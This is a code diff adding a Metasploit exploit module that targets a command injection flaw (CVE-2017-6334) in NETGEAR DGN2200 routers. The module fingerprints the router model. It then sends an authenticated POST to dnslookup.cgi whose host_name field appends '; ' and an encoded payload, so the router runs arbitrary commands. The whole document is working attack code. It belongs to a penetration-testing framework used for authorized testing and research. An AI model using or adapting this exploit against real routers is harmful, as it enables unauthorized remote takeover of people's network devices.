|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'net/http' |
| 7 | +require "base64" |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a command injection vulnerablity in NETGEAR |
| 19 | + DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request |
| 20 | + with valid login details. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Platform' => 'unix', |
| 24 | + 'Author' => [ |
| 25 | + 'thecarterb', # Metasploit Module |
| 26 | + 'SivertPL' # Vuln discovery |
| 27 | + ], |
| 28 | + 'DefaultTarget' => 0, |
| 29 | + 'Privileged' => true, |
| 30 | + 'Arch' => [ARCH_CMD], |
| 31 | + 'Targets' => [ |
| 32 | + [ 'NETGEAR DDGN2200 Router', { } ] |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'EDB', '41459'], |
| 37 | + [ 'CVE', '2017-6334'] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => 'Feb 25 2017', |
| 40 | + )) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + Opt::RPORT(80), |
| 45 | + OptString.new('USERNAME', [true, 'Username to authenticate with', '']), |
| 46 | + OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) |
| 47 | + ]) |
| 48 | + |
| 49 | + register_advanced_options( |
| 50 | + [ |
| 51 | + OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com']) |
| 52 | + ]) |
| 53 | + end |
| 54 | + |
| 55 | + # Requests the login page which tells us the hardware version |
| 56 | + def check |
| 57 | + res = send_request_cgi({'uri'=>'/'}) |
| 58 | + if res.nil? |
| 59 | + fail_with(Failure::Unreachable, 'Connection timed out.') |
| 60 | + end |
| 61 | + # Checks for the `WWW-Authenticate` header in the response |
| 62 | + if res.headers["WWW-Authenticate"] |
| 63 | + data = res.to_s |
| 64 | + marker_one = "Basic realm=\"NETGEAR " |
| 65 | + marker_two = "\"" |
| 66 | + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] |
| 67 | + vprint_status("Router is a NETGEAR router (#{model})") |
| 68 | + model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4'] |
| 69 | + if model_numbers.include?(model) |
| 70 | + print_good("Router may be vulnerable (NETGEAR #{model})") |
| 71 | + return CheckCode::Detected |
| 72 | + else |
| 73 | + return CheckCode::Safe |
| 74 | + end |
| 75 | + else |
| 76 | + print_error('Router is not a NETGEAR router') |
| 77 | + return CheckCode::Safe |
| 78 | + end |
| 79 | + end |
| 80 | + |
| 81 | + def exploit |
| 82 | + check |
| 83 | + |
| 84 | + # Convert datastores |
| 85 | + user = datastore['USERNAME'] |
| 86 | + pass = datastore['PASSWORD'] |
| 87 | + hostname = datastore['HOSTNAME'] |
| 88 | + |
| 89 | + vprint_status("Using encoder: #{payload.encoder} ") |
| 90 | + print_status('Sending payload...') |
| 91 | + |
| 92 | + vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)") |
| 93 | + |
| 94 | + creds_combined = Base64.strict_encode64("#{user}:#{pass}") |
| 95 | + vprint_status("Encoded authentication: #{creds_combined}") |
| 96 | + |
| 97 | + res = send_request_cgi({ |
| 98 | + 'uri' => '/dnslookup.cgi', |
| 99 | + 'headers' => { |
| 100 | + 'Authorization' => "Basic #{creds_combined}" |
| 101 | + }, |
| 102 | + 'vars_post' => { |
| 103 | + 'lookup' => 'Lookup', |
| 104 | + 'host_name' => hostname + '; ' + payload.encoded |
| 105 | + }}) |
| 106 | + |
| 107 | + end |
| 108 | +end |
0 commit comments